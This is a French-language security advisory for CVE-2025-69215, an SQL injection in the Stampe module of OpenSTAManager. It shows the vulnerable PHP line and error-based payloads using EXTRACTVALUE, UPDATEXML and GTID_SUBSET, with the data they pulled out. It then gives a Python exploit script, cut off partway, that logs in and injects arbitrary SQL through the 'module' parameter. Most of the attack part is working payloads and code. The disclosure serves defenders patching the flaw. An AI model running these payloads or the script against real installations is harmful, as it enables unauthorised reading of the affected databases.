
CVE-2025-69215 - OpenSTAManager présente une injection SQL dans le module Stampe.
| Champ | Détails |
|---|---|
| ID CVE | CVE-2025-69215 |
| Gravité | ÉLEVÉE |
| Avis de sécurité | Voir l'avis de sécurité |
| Découvert par | Lukasz Rybak |
modules/stampe/actions.phpcase 'update':
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
$dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
// ↑ Direct concatenation without prepare() sanitization
}
Le paramètre module provenant des données POST est directement concaténé dans une requête SQL UPDATE sans utiliser la fonction de neutralisation prepare(). Alors que le paramètre predefined est validé avec intval(), le paramètre module ne dispose que d'un contrôle !empty(), ce qui n'empêche PAS l'injection SQL.
Modèle vulnérable :
// Line 25: intval() protects predefined, but module is not sanitized!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
// Line 26: Direct concatenation - VULNERABLE
$dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}
POST /modules/stampe/actions.php
op=update
id_record=1
predefined=1 (must be non-zero after intval())
module=[INJECTION_PAYLOAD]
title=Test
filename=test.pdf
Injection SQL basée sur les erreurs utilisant les fonctions MySQL EXTRACTVALUE/UPDATEXML/GTID_SUBSET
POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded
op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf
Résultat :
Données extraites : version MySQL 8.3.0
module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)
Résultat :
Données extraites : nom de la base de données openstamanager
module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)
Résultat :
Données extraites : utilisateur de la base de données [email protected]
Script d'exploitation complet : exploit_stampe_sqli.py
#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php
Usage:
python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""
import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin
class StampeSQLiExploit:
def __init__(self, base_url, username, password, verbose=False):
self.base_url = base_url.rstrip('/')
self.username = username
self.password = password
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
})
def login(self):
"""Authenticate with username and password"""
login_url = urljoin(self.base_url, '/index.php')
if self.verbose:
print(f"[DEBUG] Attempting login to {login_url}")
print(f"[DEBUG] Username: {self.username}")
# First, get the login page to establish session
resp = self.session.get(login_url)
if self.verbose:
print(f"[DEBUG] Initial GET status: {resp.status_code}")
# Send login credentials with op=login parameter (required!)
login_data = {
'username': self.username,
'password': self.password,
'op': 'login', # Required for OpenSTAManager
}
resp = self.session.post(login_url, data=login_data, allow_redirects=True)
if self.verbose:
print(f"[DEBUG] Login POST status: {resp.status_code}")
print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")
# Check if login was successful
if 'PHPSESSID' not in self.session.cookies:
print("[-] Login failed: No session cookie received")
return False
# Check if we're redirected to dashboard or still on login page
if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
print("[-] Login failed: Still on login page")
if self.verbose:
print(f"[DEBUG] Current URL: {resp.url}")
return False
print(f"[+] Successfully logged in as '{self.username}'")
print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
return True
def inject(self, sql_query):
"""Execute SQL injection payload"""
# Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"
target_url = urljoin(self.base_url, '/modules/stampe/actions.php')
if self.verbose:
print(f"[DEBUG] Target: {target_url}")
print(f"[DEBUG] Payload: {payload}")
response = self.session.post(
target_url,
data={
"op": "update",
"id_record": "1",
"predefined": "1",
"module": payload,
"title": "Test",
"filename": "test.pdf"
}
)
if self.verbose:
print(f"[DEBUG] Response status: {response.status_code}")
print(f"[DEBUG] Response length: {len(response.text)}")
# Unescape HTML entities first
response_text = unescape(response.text)
# Pattern 1: XPATH syntax error with HTML entities or quotes
# Matches: XPATH syntax error: '~data~' or '~data~'
xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
if xpath_match:
result = xpath_match.group(1)
if self.verbose:
print(f"[DEBUG] Extracted via XPATH pattern: {result}")
return result